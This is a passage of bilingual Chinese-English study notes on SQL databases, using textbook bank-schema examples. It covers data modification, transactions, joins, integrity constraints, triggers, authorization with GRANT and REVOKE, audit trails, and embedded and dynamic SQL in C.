WHERE account.balance = max_balance.value;
Modification of Database¶
Deletion¶
such as: Delete all accounts and relevant information at depositor for every branch located in Needham city.
DELETE FROM account
WHERE branch_name IN (
SELECT branch_name
FROM branch
WHERE branch_city = 'Needham'
);
DELETE FROM depositor
WHERE account_number IN (
SELECT account_number
FROM branch B, account A
WHERE branch_city = 'Needham'
AND B.branch_name = A.branch_name
);
以下写法错误
DELETE FROM account, depositor, branch
WHERE account.account_number = depositor.account_number
AND branch.branch_name = account.branch_name
AND branch_city = 'Needham';
Example2:
Delete the record of all accounts with balances below the average at the bank.
Problem: as we delete tuples from account, the average balance changes.
Solution:
WITH avg_balance AS (
SELECT avg(balance) AS avg_bal
FROM account
),
to_delete AS (
SELECT account_number
FROM account
WHERE balance < (SELECT avg_bal FROM avg_balance)
)
DELETE FROM account
WHERE account_number IN (SELECT account_number FROM to_delete);
Info
在同一SQL语句内,除非外层查询的元组变量引入内层查询,否则层查询只进行一次.
这句话的意思是:在一个 SQL 语句中,除非外层查询的元组变量(即表的别名或列名)被引入到内层查询中,否则内层查询只会执行一次。
换句话说,如果内层查询不依赖于外层查询的任何变量或条件,那么内层查询会在整个 SQL 语句执行过程中只运行一次,并将其结果用于外层查询的每一行。如果内层查询依赖于外层查询的变量,那么内层查询可能会为外层查询的每一行执行一次。
Insertion¶
Add a new tuple to the relation.
Format:
INSERT INTO <table|view> [(c1, c2,…)]
VALUES (e1, e2, …)
-- or
INSERT INTO <table|view> [(c1, c2,…)]
SELECT e1, e2, …
FROM …
INSERT INTO account (account_number, branch_name, balance)
VALUES ('A_9732', 'Perryridge', 1200);
-- or equivalently
INSERT INTO account (branch_name, balance, account_number)
VALUES ('Perryridge', 1200, 'A_9732');
Such as:Provide as a gift for all loan customers of the Perryridge branch, a $200 savings account. Let the loan number serve as the account number for the new savings account.
-- Step 1: insert into account
INSERT INTO account (account_number, branch_name, balance)
SELECT loan_number, branch_name, 200
FROM loan
WHERE branch_name = 'Perryridge';
-- Step 2: insert into depositor
INSERT INTO depositor (customer_name, account_number)
SELECT customer_name, A.loan_number
FROM loan A, borrower B
WHERE A.branch_name = 'Perryridge' AND A.loan_number = B.loan_number;
what? select 200?
在 SQL 中,SELECT 语句可以用于从一个或多个表中提取数据,
并且可以在 SELECT 子句中使用常量值。常量值会被应用到每一行的结果中。
代码中:
INSERT INTO account (account_number, branch_name, balance)
SELECT loan_number, branch_name, 200
FROM loan
WHERE branch_name = 'Perryridge';
这里的 SELECT loan_number, branch_name, 200 是从 loan 表中选择 loan_number 和 branch_name,并且为每一行都插入一个常量值 200 作为 balance。
这意味着对于每一个符合条件的 loan 表中的记录,都会插入一条新的记录到 account 表中,其中 balance 字段的值固定为 200。
这种用法在 SQL 中是合法的,并且常用于在插入数据时为某些字段设置默认值或固定值。
The "select from where" statement is fully evaluated before any of its results are inserted into the relation.
Updates¶
Update the value of an attribute of a tuple.
Format:
Such as:
Example
Increase all accounts with balances over $10,000 by 6%, all other accounts receive 5%.
The order is important. 如果顺序反过来,那么有可能一开始没有10000,先更新了,然后就变成10000了,然后又可以增加6%了。Case Statement for Conditional Updates¶
The same query as before: Increase all accounts with balances over $10,000 by 6%, and all other accounts receive 5%.
UPDATE account
SET balance = CASE
WHEN balance <= 10000 THEN balance * 1.05
ELSE balance * 1.06
END;
Update of view¶
Example:Create a view of all loan data in loan relation, hiding the amount attribute.
Add a new tuple to branch_loan.
This insertion will be translated into:
Updates on more complex views are difficult or impossible to translate into updates on the base relations,and hence are not allowed.
Summary of update on view¶
- View 是虚表,对其进行的所有操作都将转化为对基表的操作。
- 查询操作时,VIEW与基表没有区别,但对VIEW的更新操作有严格限制,如只有行列视图(建立在单个基本表上的视图,且视图的列对应表的列,称为"行列视图"。),可更新数据
- 大多数SQL实现只允许在单个关系上定义的简单视图上进行更新操作,且不包含聚合函数
Transaction¶
在 SQL 中,事务(Transaction)是指一系列查询和数据更新语句,这些语句作为一个单一的逻辑单元执行。事务的目的是确保数据库操作的完整性和一致性。事务通常具有以下四个特性,简称为 ACID:
-
原子性(Atomicity):事务中的所有操作要么全部完成,要么全部不完成。事务不能只完成其中的一部分。
-
一致性(Consistency):事务的执行必须使数据库从一个一致的状态转变为另一个一致的状态。
-
隔离性(Isolation):一个事务的执行不能被其他事务干扰。即使多个事务并发执行,在事务之间的操作结果是相互隔离的。
-
持久性(Durability):一旦事务提交,其结果就应该永久保存在数据库中,即使系统发生故障。
在 SQL 中,事务通常是隐式启动的,并通过以下两种方式之一来终止:
-
COMMIT WORK:提交事务,将事务中所有的更新永久地保存到数据库中。这意味着事务中的所有操作都被确认并生效。
-
ROLLBACK WORK:回滚事务,撤销事务中执行的所有更新。这意味着事务中的所有操作都被取消,数据库状态恢复到事务开始之前的状态。
通过使用 COMMIT 和 ROLLBACK,可以控制事务的完成或取消,从而确保数据库的可靠性和一致性,即使在出现错误或系统崩溃的情况下。
Joined Relations¶
Join operations take as input two relations and return as a result another relation.
Join condition – defines which tuples in the two relations match, and what attributes are present in the result of the join.
Join type – defines how tuples in each relation that do not match any tuple in the other relation (based on the join condition) are treated.
- 自然连接:自然连接是一种特殊的等值连接,它要求两个关系中所有同名属性都相等,不需要指定连接条件。
- 非自然连接: 需要指定连接条件。
INNER JOIN¶
- 作用:返回两个表中匹配的行。
- 语法:
LEFT JOIN (LEFT OUTER JOIN)¶
- 作用:返回左表所有行 + 右表匹配的行(未匹配的右表字段为
NULL)。 - 语法:
RIGHT JOIN (RIGHT OUTER JOIN)¶
- 作用:返回右表所有行 + 左表匹配的行(未匹配的左表字段为
NULL)。 - 语法:
FULL OUTER JOIN¶
- 作用:返回左右表所有行(未匹配的字段为
NULL)。 - 语法:
CROSS JOIN¶
- 作用:返回两表的笛卡尔积(无连接条件)。
- 语法:
SELF JOIN¶
- 作用:将表与自身连接,常用于层级或对称关系查询。
- 语法:
JOIN condition¶
ON¶
- 作用:指定任意连接条件(支持多条件和复杂逻辑)。
- 语法:
USING¶
- 作用:简化同名列的连接(自动匹配列名)。
- 语法:
JOIN performance optimization¶
- 索引优化:
- 在连接列(如
dept_id)上创建索引。 - 减少数据量:
- 先通过
WHERE过滤再JOIN。 - 避免笛卡尔积:
- 确保
CROSS JOIN是必要且可控的。 - 使用 EXPLAIN:
- 分析查询计划,检查连接顺序和算法(如 Nested Loop、Hash Join)。
Summary¶
| JOIN 类型 | 匹配规则 | 是否保留未匹配数据 |
|---|---|---|
INNER JOIN |
仅匹配的行 | 否 |
LEFT JOIN |
左表全保留 + 右表匹配 | 左表未匹配行保留 |
RIGHT JOIN |
右表全保留 + 左表匹配 | 右表未匹配行保留 |
FULL OUTER JOIN |
左右表全保留 | 左右表未匹配行均保留 |
CROSS JOIN |
无条件,笛卡尔积 | 不适用 |
Advanced SQL¶
SQL Data Types and Schemas¶
User-defined types¶
也可以定义复合类型Create a table with the address type:
Drop the address type:
Create new domain¶
CREATE DOMAIN domain_name AS data_type
[ DEFAULT default_value ]
[ CONSTRAINT constraint_name CHECK (expression) ];
such as
Create domain Dollars as numeric(12, 2) not null;
Create domain Pounds as numeric(12,2);
Create table employee
(eno char(10) primary key,
ename varchar(15),
job varchar(10),
salary Dollars,
comm Pounds);
domain vs type
在 SQL 中,DOMAIN 和 TYPE 都用于定义自定义的数据类型,但它们有不同的用途和特性。
DOMAIN 是基于现有数据类型的约束集合。它允许你为特定的数据类型添加约束条件,以确保数据的完整性。
主要用于在多个表中重用相同的数据类型和约束。例如,定义一个 DOMAIN 来表示电子邮件地址,并附加格式检查约束。
可以附加 CHECK 约束来验证数据的有效性。
DOMAIN 继承了基础数据类型的所有特性,并可以在其上添加额外的约束。
示例:
CREATE DOMAIN email_domain AS VARCHAR(255)
CHECK (VALUE ~ '^[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}$');
TYPE 是用于定义新的数据类型,特别是复合类型(包含多个字段)或枚举类型。
适用于需要定义复杂数据结构的场景,例如需要在表中存储地址信息的多个字段。
复合类型可以包含多个字段,每个字段可以有不同的数据类型。
枚举类型可以定义一组固定的值。
示例:
复合类型:
Large object types¶
SQL provides two types of large object data types:
-
BLOB(Binary Large Object)- Stores large collections of uninterpreted binary data
- Examples: images, videos, CAD files
- Interpretation is handled by external applications
- Maximum size depends on DBMS implementation
-
CLOB(Character Large Object)- Stores large collections of character/text data
- Examples: documents, XML files, long text
- Data is interpreted as character strings
- Maximum size depends on DBMS implementation
When querying large objects, the database returns a pointer/reference to the data rather than the full object itself. This helps optimize performance and memory usage.
Example usage:
CREATE TABLE students (
sid char(10) PRIMARY KEY,
name varchar(10),
gender char(1),
photo blob(20MB),
cv clob(10KB)
);
Integrity Constraints¶
Integrity constraints guard against accidental damage to the database, by ensuring that authorized changes to the database do not result in a loss of data consistency.
- 实体完整性、参照完整性和用户定义的完整性约束
- 完整性约束是数据库实例(Instance)必须遵循的
- 完整性约束由DBMS维护
Extra
Constraints on a single relation:
- Not null
- Unique
- Primary key
- Foreign key
- Check(Predicate)
Eg.
Domain Constraints¶
The check clause in SQL-92 permits domains to be restricted:
Create domain hourly-wage numeric(5, 2)
Constraint value-test check(value > = 4.00)
--The clause constraint value-test is optional; useful to indicate which constraint an update violated.
Referential Integrity¶
Let \(r_1(R_1)\) and \(r_2(R_2)\) be the relations with primary keys \(K_1\) and \(K_2\), respectively.
The subset \(\alpha\) of \(R_2\) is a foreign key referencing \(K_1\) in relation \(r_1\), if for every \(t_2\) in \(r_2\) there must be a tuple \(t_1\) in \(r_1\) such that \(t_1[K_1] = t_2[\alpha]\).
Referential integrity constraint also called subset dependency, since its can be written as
在这里\(r_2\)是参照关系(referencing relation),\(r_1\)是被参照关系(referenced relation)。
参照关系中外码的值必须在被参照关系中实际存在,或为null.
For example, the following constraint ensures that the branch_name in the employee relation must match the branch_name in the branch relation:
Create table employee
(eno char(10) primary key,
ename varchar(15),
job varchar(10),
branch_name varchar(10),
foreign key (branch_name) references branch(branch_name));
-
INSERT:If a tuple \(t_2\) is inserted into \(r_2\), the system must ensure that there is a tuple \(t_1\) in \(r_1\) such that \(t_1[K_1] = t_2[\alpha]\), 例如如果插入一个员工,则该员工所属的branch_name必须在branch表中存在。
-
DELETE: If a tuple \(t_1\) is deleted from \(r_1\), the system must compute the set of tuples in \(r_2\) that reference \(t_1\):
如果r2中存在与r1中被删记录匹配的元组
If this set is not empty, then either the delete command is rejected as an error, or the tuples in \(t_2\) that references \(t_1\) must themselves be deleted (cascading deletions are possible).
例如如果删除了一个branch,则所有属于该branch的employee也必须被删除,或者这个删除操作被拒绝。
- UPDATE CASE 1: If a tuple \(t_2\) is updated in relation \(r_2\) and the update modifies values for foreign key \(\alpha\), then a test similar to the insert case is made:
Let \(t_2'\) denote the new value of tuple \(t_2\). The system must ensure that
例如如果更新一个employee的branch_name,则该employee的branch_name必须在branch表中存在。
- UPDATE CASE 2: If a tuple \(t_1\) is updated in relation \(r_1\) and the update modifies values for candidate key \(K\), then a test similar to the delete case is made:
Either the update command is rejected as an error, or the tuples in \(t_2\) that references \(t_1\) must themselves be updated(cascading updates are possible).
例如如果更新了branch里面的branch_name,则所有属于该branch的employee的branch_name也必须被更新,或者拒绝这个更新操作。
Referential Integrity
Primary, candidate keys, and foreign keys can be specified as part of the SQL create table statement:
- The primary key clause lists attributes that comprise the primary key.
- The unique key clause lists attributes that comprise a candidate key.
- The foreign key clause lists the attributes that comprise the foreign key and the name of the relation referenced by the foreign key.
EG
Create table employee
(eno char(10),
ename varchar(15),
job varchar(10),
branch_name varchar(10),
foreign key (branch_name) references branch(branch_name),
primary key (eno),
unique (ename));
By default, a foreign key references the primary key attributes of the referenced table:
E.g.,
Short form for specifying a single column as foreign key: E.g.,
Reference columns in the referenced table can be explicitly specified
but must be declared as primary/candidate keys:
Cascading actions
Create table account (
. . .
foreign key (branch-name) references branch
[ on delete cascade]
[ on update cascade ]
. . . );
加了on delete cascade,如果branch表中删除了一个元组,则account表中所有引用该branch的元组也会被删除。
加了on update cascade,如果branch表中更新了一个元组的branch-name,则account表中所有引用该branch的元组也会被更新。
如果在多个关系之间存在一系列的外键依赖关系,并且每个依赖关系都指定了on delete cascade,那么在链的一端进行的删除或更新操作可以传播到整个链。
但是,如果级联更新或删除导致了一个无法通过进一步级联操作来处理的约束违反,系统将会中止该事务。
As a result, all the changes caused by the transaction and its cascading actions are undone.
在 SQL 中,外键约束用于维护表之间的参照完整性。除了级联删除(ON DELETE CASCADE)之外,还有其他选项可以在删除被引用的记录时指定外键的行为:
-
ON DELETE SET NULL: 当被引用的记录被删除时,将外键列的值设置为NULL。这意味着如果一个记录在被引用的表中被删除,那么在引用表中所有引用该记录的外键列将被设置为NULL。 -
ON DELETE SET DEFAULT: 当被引用的记录被删除时,将外键列的值设置为一个默认值。这个默认值必须在创建表时定义。
关于外键属性中的空值(NULL):
- 如果外键的任何属性为
NULL,则该元组被定义为满足外键约束。这是因为NULL表示未知或不适用,因此 SQL 允许外键列包含NULL值,而不违反参照完整性。
然而,外键属性中的 NULL 值会使 SQL 的参照完整性语义变得复杂。因此,通常建议使用 NOT NULL 约束来防止外键属性中出现 NULL 值,以确保数据的一致性和完整性。
例如:
CREATE TABLE orders (
order_id INT PRIMARY KEY,
customer_id INT,
FOREIGN KEY (customer_id) REFERENCES customers(id)
ON DELETE SET NULL
);
在这个例子中,如果 customers 表中的某个 id 被删除,那么 orders 表中所有引用该 id 的 customer_id 列将被设置为 NULL。
Idea
参照完整性只在事务结束时才会被检查
也就是说:在事务执行过程中的中间步骤允许违反参照完整性,只要在事务结束时这些违反被消除即可。
否则,某些数据库状态将无法创建,例如:插入两个相互引用的元组(它们的外键互相指向对方)
Assertions¶
An assertion is a predicate expressing a condition that we wish the database always to satisfy. --- for complex check condition on several relations!
Format:
When an assertion is made, the system tests it for validity on every update that may violate the assertion. (when the predicate is true, it is Ok, otherwise report error.)
这种测试可能会带来大量的系统开销;因此,断言应该谨慎使用。
Example
if we require "the sum of all loan amounts for each branch must be less than the sum of all account balances at the branch".
But SQL does not provide a construct for asserting:
So it is achieved in a round-about fashion, using:Triggers¶
A trigger is a statement that is executed automatically by the system as a side-effect of a modification to the database.
To design a trigger mechanism, we must:
- Specify the conditions under which the trigger is to be executed.
- Specify the actions to be taken when the trigger executes.
Triggers were introduced to SQL standard in SQL:1999, but supported even earlier using non-standard syntax by most databases.
Format:
Create trigger trigger_name
{before | after} {insert | delete | update} [of attribute_name]
on relation_name
[for each row]
[when (condition)]
begin
<action>
end;
Note
触发器可以限制在特定属性的更新上: 例如:
更新前后的属性值可以被引用: Referencing old row as:用于删除和更新操作 Referencing new row as:用于插入和更新操作
Example
Suppose that instead of allowing negative account balances, the bank deals with overdrafts by (the actions):
- Setting the account balance to zero
- Creating a loan in the amount of the overdraft, giving this loan a loan number identical to the account number of the overdrawn account
The condition for executing the trigger is an update to the account relation that results in a negative balance value.
CREATE TRIGGER overdraft-trigger after update on account
referencing new row as nrow
for each row
when nrow.balance < 0
begin atomic
insert into borrower
(select customer_name, account_number from depositor
where nrow.account_number = depositor.account_number)
insert into loan values
(nrow.account_number, nrow.branch_name, -nrow.balance)
update account set balance = 0
where account.account_number = nrow.account_number
end
Statement Level Triggers
Instead of executing a separate action for each affected row, a single action can be executed for all rows affected by a transaction.
- Use for each statement instead of for each row
- Use referencing old table or referencing new table to refer to temporary tables (called transition tables) containing the affected rows
- Can be more efficient when dealing with SQL statements that update a large number of rows
当然,这里有一个使用语句级触发器的示例。假设我们有一个 orders 表,我们希望在更新订单状态时记录所有受影响订单的日志。
表结构
CREATE TABLE orders (
order_id INT PRIMARY KEY,
order_status VARCHAR(20),
last_updated TIMESTAMP
);
CREATE TABLE order_log (
log_id SERIAL PRIMARY KEY,
order_id INT,
old_status VARCHAR(20),
new_status VARCHAR(20),
change_time TIMESTAMP
);
语句级触发器
CREATE TRIGGER log_order_status_change
AFTER UPDATE OF order_status ON orders
REFERENCING OLD TABLE AS old_orders NEW TABLE AS new_orders
FOR EACH STATEMENT
BEGIN
INSERT INTO order_log (order_id, old_status, new_status, change_time)
SELECT old_orders.order_id, old_orders.order_status, new_orders.order_status, CURRENT_TIMESTAMP
FROM old_orders, new_orders
WHERE old_orders.order_id = new_orders.order_id;
END;
这个触发器在 orders 表的 order_status 列更新后执行一次,将所有受影响的订单状态变化记录到 order_log 表中。这样可以有效地记录批量更新的变化,而不需要为每一行单独执行触发器。
External World Actions
We sometimes require external world actions to be triggered on a database update E.g., Re-ordering an item whose quantity in a warehouse has become small, or turning on an alarm light. (当库存低于警戒线,增加订货或报警)
Triggers cannot be used to directly implement external-world actions, BUT Triggers can be used to record actions-to-be-taken in a separate table Have an external process that repeatedly scans the table, carries out external-world actions and deletes action from table.
Suppose a warehouse has the following tables
inventory(item, level): How much of each item is in the warehouse presently
minlevel(item, level): What is the minimum desired level of each item
reorder(item, amount): What quantity should we re-order at a time
orders(item, quantity): Orders to be placed (to be read by external process)
CREATE TRIGGER reorder-trigger
after update of level on inventory
referencing old row as orow, new row as nrow
for each row
when nrow.level < = (select level
from minlevel
where minlevel.item = nrow.item)
and orow.level > (select level
from minlevel
where minlevel.item = orow.item)
begin
insert into orders
(select item, amount
from reorder
where reorder.item = orow.item)
end
虽然这个trigger不能直接执行外部世界的操作,但是可以记录下需要执行的操作,然后由外部进程来执行。
这个触发器在 inventory 表的 level 列更新后执行。它会检查更新后的库存量是否低于最低期望库存量,并且更新前的库存量是否高于最低期望库存量。如果满足条件,就会在 orders 表中插入一条新的订单记录。这样,外部进程可以读取 orders 表中的记录来执行实际的订购操作。
触发器在早些年被用于以下任务: 维护汇总数据(例如,每个部门的总工资) 通过记录对特殊关系(称为变更或增量关系)的更改并让一个单独的进程将更改应用到副本来复制数据库。
现在有更好的方法来完成这些任务: 如今的数据库提供内置的物化视图功能来维护汇总数据; 数据库提供内置的复制支持。
Check vs assertion vs trigger
在 SQL 中,CHECK 约束、ASSERTION 和 TRIGGER 是用于维护数据完整性和一致性的三种不同机制。以下是它们的比较:
- CHECK:用于在表级别定义简单的条件,以确保列中的数据满足特定条件。限于单个表的单个列或多个列。通常性能较好,因为它们在插入或更新时直接在表级别进行检查。不能跨多个表进行复杂的条件检查。
- ASSERTION:用于定义跨多个表的复杂条件,以确保数据库的整体一致性。可以跨多个表进行检查。可能会影响性能,因为每次相关表更新时都需要检查断言。在许多数据库系统中不被广泛支持。
- TRIGGER:用于在特定事件(如插入、更新或删除)发生时自动执行一段代码。可以执行几乎任何类型的操作,包括调用外部程序。可能会影响性能,特别是在触发器中执行复杂逻辑时。
- 限制:在许多数据库系统中不被广泛支持。
Authorization¶
Security¶
Security involves protection from malicious attempts to steal or modify data. It can be addressed at various levels:
-
Database System Level: Authentication and authorization mechanisms allow specific users access only to required data.
-
Operating System Level: Operating system super-users can do anything they want to the database! Good operating system level security is required.
-
Network Level: Must use encryption to prevent:
- Eavesdropping (unauthorized reading of messages)
-
Masquerading (pretending to be an authorized user or sending messages supposedly from authorized users)
-
Physical Level: Physical access to computers allows destruction of data by intruders; traditional lock-and-key security is needed. Computers must also be protected from floods, fire, etc. -- (Recovery)
-
Human Level: Users must be screened to ensure that authorized users do not give access to intruders. Users should be trained on password selection and secrecy.
Forms of Authorization on Parts of the Database¶
- Read Authorization: Allows reading, but not modification of data.
- Insert Authorization: Allows insertion of new data, but not modification of existing data.
- Update Authorization: Allows modification, but not deletion of data.
- Delete Authorization: Allows deletion of data.
Forms of Authorization to Modify the Database Schema¶
- Index Authorization: Allows creation and deletion of indices.
- Resources Authorization: Allows creation of new relations.
- Alteration Authorization: Allows addition or modifying of attributes in a relation.
- Drop Authorization: Allows deletion of relations.
Info
Users can be given authorization on views, without being given any authorization on the relations used in the view definition.
Ability of views to hide data serves both to simplify usage of the system and to enhance security by allowing users access only to data they need for their job.
A combination of relational-level security and view-level security can be used to limit a user's access to precisely the data that user needs.
Example
Suppose a bank clerk needs to know the names of the customers of each branch, but is not authorized to see specific loan information.
Approach: Deny direct access to the loan relation, but grant access to the view cust-loan, which consists only of the names of customers and the branches at which they have a loan. The cust-loan view is defined in SQL as follows:
CREATE VIEW cust-loan as
SELECT branchname, customer-name
FROM borrower, loan
WHERE borrower.loan-number = loan.loan-number
The clerk can now read the cust-loan view, which will give him the information he needs without seeing the loan relation.
Creation of view does not require resources authorization since no real relation is being created.
the creator of a view gets only those privileges that provide no additional authorization beyond that he already had.
Granting of Privileges¶
该图的节点是用户。图的根节点是数据库管理员。 考虑对贷款进行更新授权的图。
一个边 \( U_i \rightarrow U_j \) 表示用户 \( U_i \) 已将对贷款的更新授权授予用户 \( U_j \)。
Property
授权图中的所有边必须是从数据库管理员开始的某条路径的一部分。
- 如果数据库管理员撤销了对 U1 的授权:
- 必须从 U4 撤销授权,因为 U1 不再拥有授权。
-
不必从 U5 撤销授权,因为 U5 通过 U2 还有另一条从数据库管理员到达的授权路径。
-
必须防止没有从根节点路径的授权循环:
- 数据库管理员授予 U7 授权
- U7 授予 U8 授权
- U8 授予 U7 授权
- 数据库管理员撤销了对 U7 的授权
必须撤销从 U7 到 U8 和从 U8 到 U7 的授权,因为不再有从数据库管理员到 U7 或 U8 的路径。
Grant Statement¶
The grant statement is used to grant privileges to users.
-
user name list: -
user-ids
- public, which allows all valid users the privilege granted
- A role
Info
1 Public(公共):
- 在 SQL 中,
public关键字用于将权限授予所有用户。当你将某个权限授予public时,意味着每个有权访问数据库的用户都可以执行指定的操作。 - 例如,如果你将某个表的
SELECT权限授予public,那么任何用户都可以查询该表。 - 这是使某些数据或操作普遍可访问的一种方式,而无需指定具体的用户。
2 Role(角色):
- SQL 中的
role是一组相关权限的命名集合,可以授予用户或其他角色。角色用于简化用户权限的管理。 - 与其将相同的一组权限单独授予多个用户,不如创建一个包含这些权限的角色,然后将该角色授予用户。
- 角色也可以授予其他角色,从而允许层次化的权限管理。
- 角色有助于更高效地组织和管理权限,特别是在拥有众多用户的大型数据库中。
-
privilege-list: -
SELECT:allows read access to relation, or the ability to query using the view Insert: the ability to insert tuples.Update: the ability to update using the SQL update statement.Delete: the ability to delete tuples.References: ability to declare foreign keys when creating relations.All privileges: used as a short form for all the allowable privileges.All: used as a short form for all the allowable privileges.
e.g.
WITH GRANT OPTION: Allows a user who is granted a privilege to pass the privilege on to other users.
e.g.
现在U1不仅有对loan表的查找权限,还可以将这个权限传递给其它的用户Roles¶
permiting common privileges for a class of users can be specified just once, by creating a corresponding "role".
Privileges can be granted to or revoked from roles, just like user; roles can be assigned to users, and even to other roles.
Create role teller;
Create role manager;
Grant select on branch to teller;
Grant update (balance) on account to teller;
Grant all privileges on account to manager;
Grant teller to manager;
Grant teller to alice, bob;
Grant manager to avi;
Revoking Authorization¶
Revoking authorization is the inverse of granting authorization.
The revoke statement is used to revoke authorization.
format
<privilege list>:要撤销的权限列表,例如SELECT、INSERT、UPDATE和ALL等·<table | view>:指定要撤销权限的表或视图。<user list>:指定要从中撤销权限的用户列表,pubilc表示所有用户[restrict | cascade]:指定撤销权限的方式。restrict:如果有其他用户依赖于被撤销的权限,则不允许撤销。cascade:即使有其他用户依赖于被撤销的权限,也强制撤销,并同时撤销所有依赖的权限。
e.g.
Revoke select on branch from U1, U3 cascade;
--移除U1和U3在branch上的select权限,如果有依赖也一并移除
Revoke select on branch from U1, U3 restrict;
-- 移除U1和U3在branch上的select权限,如果有依赖就fail
limitations
SQL 不支持在元组级别进行授权。例如,我们无法通过授权限制学生只能查看(存储)自己的成绩。
随着 Web 访问数据库的增长,数据库访问主要来自应用程序服务器。终端用户没有数据库用户 ID,他们都被映射到同一个数据库用户 ID。
一个应用程序(例如 Web 应用程序)的所有终端用户可能被映射到一个单一的数据库用户。
在上述情况下,授权的任务由应用程序来完成,而没有 SQL 的支持。
- 好处 :应用程序可以实现细粒度的授权,例如对单个元组的授权。
- 缺点 :授权必须在应用程序代码中完成,并且可能分散在整个应用程序中。由于需要阅读大量的应用程序代码,检查授权漏洞的缺失变得非常困难。
Audit Trails¶
An audit trail is a log of all changes (inserts/deletes/updates) to the database along with information such as which user performed the change, and when the change was performed.
Used to track erroneous/fraudulent updates.
Can be implemented using triggers, but many database systems provide direct support.
语句审计:
E.g., audit table by scott by access whenever successful ---- 审计用户scott每次成功地执行有关table的语句 (create table, drop table, alter table)。
格式:
- 当 BY
缺省,对所有用户审计。 - BY SESSION每次会话期间,相同类型的需审计的SQL语句仅记录一次。
- 常用的
:table, view, role, index, … - 取消审计:NOAUDIT …(其余同audit语句)。
对象(实体)审计:
E.g., audit delete, update on student --- 审计所有用户对student表的delete和update操作。 格式:
AUDIT <obj-opt> ON <obj> | DEFAULT [BY SESSION | BY ACCESS] [WHENEVER SUCCESSFUL | WHENEVER NOT SUCCESSFUL]
- obj-opt: insert, delete, update, select, grant, …
- 实体审计对所有的用户起作用。
- ON
指出审计对象表、视图名。 - ON DEFAULT 对其后创建的所有对象起作用。
- 取消审计:NOAUDIT …
怎样看审计结果: 审计结果记录在数据字典表: sys.aud$中,也可从dba_audit_trail, dba_audit_statement, dba_audit_object中获得有关情况。 上述数据字典表需在DBA用户(system)下才可见。
Embedded SQL¶
SQL标准定义了在多种编程语言中嵌入SQL的方式,例如Pascal、PL/I、Fortran、C和Cobol。
在其中嵌入SQL查询的语言被称为宿主语言(Host language),而在宿主语言中允许的SQL结构组成了嵌入式SQL。
EXEC SQL语句用于标识嵌入式SQL请求给预处理器:
注意:这在不同语言中有所不同,例如,Java嵌入使用#
SELECT¶
- 单行查询
EXEC SQL BEGIN DECLARE SECTION;
char V_an[20], bn[20];
float bal;
EXEC SQL END DECLARE SECTION;
…….
scanf(“%s”, V_an); // 读入账号,然后据此在下面的语句获得bn, bal的值
EXEC SQL SELECT branch_name, balance INTO :bn, :bal FROM
account WHERE account_number = :V_an;
END_EXEC
printf(“%s, %s, %f”, V_an, bn, bal);
…….
#include <stdio.h>
#include <sqlca.h> // SQL Communications Area
int main() {
EXEC SQL BEGIN DECLARE SECTION;
int emp_id;
char first_name[50];
char last_name[50];
float salary;
EXEC SQL END DECLARE SECTION;
// 读取用户输入的员工ID
printf("Enter Employee ID: ");
scanf("%d", &emp_id);
// 执行SQL查询
EXEC SQL SELECT first_name, last_name, salary
INTO :first_name, :last_name, :salary
FROM employees
WHERE employee_id = :emp_id;
// 检查SQL执行结果
if (sqlca.sqlcode == 0) {
// 输出查询结果
printf("Employee ID: %d\n", emp_id);
printf("First Name: %s\n", first_name);
printf("Last Name: %s\n", last_name);
printf("Salary: %.2f\n", salary);
} else {
// 处理错误
printf("Error: Employee not found or SQL error occurred.\n");
}
return 0;
}
- 多行查询
在嵌入式SQL中,多行查询通常使用游标(Cursor)来处理。游标允许程序逐行处理查询结果集。
假设我们有以下三个表:depositor、customer和account。我们希望找到在某个账户中余额超过给定金额的客户的姓名和城市。
- STEP 1: 声明游标
首先,声明一个游标来保存查询结果。
EXEC SQL BEGIN DECLARE SECTION;
float v_amount;
char cn[50]; // customer name
char ccity[50]; // customer city
EXEC SQL END DECLARE SECTION;
// 声明游标
EXEC SQL DECLARE c CURSOR FOR
SELECT customer_name, customer_city
FROM depositor D, customer B, account A
WHERE D.customer_name = B.customer_name
AND D.account_number = A.account_number
AND A.balance > :v_amount;
END_EXEC
- STEP 2: 打开游标
使用OPEN语句执行查询并打开游标。
- STEP 3: 获取数据
使用FETCH语句逐行获取查询结果,并将结果存储在宿主语言变量中。
// 获取数据
while (1) {
EXEC SQL FETCH c INTO :cn, :ccity END_EXEC;
if (sqlca.sqlcode == 100) { // SQLSTATE '02000' indicates no more data
break;
}
printf("Customer Name: %s, City: %s\n", cn, ccity);
}
- STEP 4: 关闭游标
使用CLOSE语句关闭游标并释放资源。
Update¶
- 单行修改
在嵌入式SQL中,单行修改操作允许我们通过SQL语句直接更新数据库中的数据。
假设我们有一个account表,其中包含字段account_number和balance。我们希望根据用户输入的账号和存款额来更新账户余额。
首先,声明用于存储用户输入的账号和存款额的变量。
EXEC SQL BEGIN DECLARE SECTION;
char an[20]; // account number
float bal; // balance to add
EXEC SQL END DECLARE SECTION;
使用scanf函数读取用户输入的账号和存款额。
使用EXEC SQL UPDATE语句更新数据库中的账户余额。
- 多行修改
在嵌入式SQL中,可以通过声明游标为可更新(FOR UPDATE)来更新游标获取的元组。这允许在游标当前指向的记录上执行更新操作。以下是一个示例,展示如何在C语言中使用嵌入式SQL和游标来更新数据库中的数据。
假设我们有一个account表,我们希望更新Perryridge分行的所有账户余额,每个账户增加100。
首先,声明用于存储查询结果的变量,并声明一个可更新的游标。
EXEC SQL BEGIN DECLARE SECTION;
char an[20]; // account number
float bal; // balance
EXEC SQL END DECLARE SECTION;
// 声明可更新游标
EXEC SQL DECLARE csr CURSOR FOR
SELECT *
FROM account
WHERE branch_name = 'Perryridge'
FOR UPDATE OF balance;
使用OPEN语句执行查询并打开游标。
使用FETCH语句逐行获取查询结果,并在游标当前指向的记录上执行更新操作。
// 获取和更新数据
while (1) {
EXEC SQL FETCH csr INTO :an, :bal;
if (sqlca.sqlcode != 0) { // 检查是否成功获取数据
break;
}
// 处理数据(例如打印)
printf("Account Number: %s, Balance: %.2f\n", an, bal);
// 更新当前游标位置的记录
EXEC SQL UPDATE account
SET balance = balance + 100
WHERE CURRENT OF csr;
}
使用CLOSE语句关闭游标并释放资源。
Dynamic SQL¶
动态SQL(Dynamic SQL)允许程序在运行时构建和提交SQL查询。这种技术非常有用,因为它提供了灵活性,使程序能够根据用户输入或其他运行时条件生成SQL语句。
char *sqlprog = "update account set balance = balance * 1.05 where account_number = ?";
EXEC SQL PREPARE dynprog FROM :sqlprog;
char v_account [10] = "A_101";
……
EXEC SQL EXECUTE dynprog USING :v_account;
